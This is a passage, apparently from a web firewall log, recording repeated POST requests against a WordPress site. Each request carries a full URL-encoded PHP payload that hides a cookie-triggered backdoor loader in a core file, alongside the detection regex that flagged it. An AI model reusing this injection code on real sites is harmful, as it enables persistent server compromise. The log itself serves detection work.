0file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:4349\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nSS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:33","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-length:4349\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrz4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nzn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:34","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4349\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo3RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\noq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:36","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:4349\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 